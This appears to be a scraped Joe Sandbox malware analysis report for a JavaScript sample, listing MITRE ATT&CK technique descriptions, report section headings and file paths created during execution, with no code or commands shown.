Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 32139134812378922139.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0e36717a-d3f6-4dfc-a817-62b8575c7fea.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4d7b24.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cbdc4c05-57ba-474d-8383-8f88ddd87d04.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7680

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
32139134812378922139.js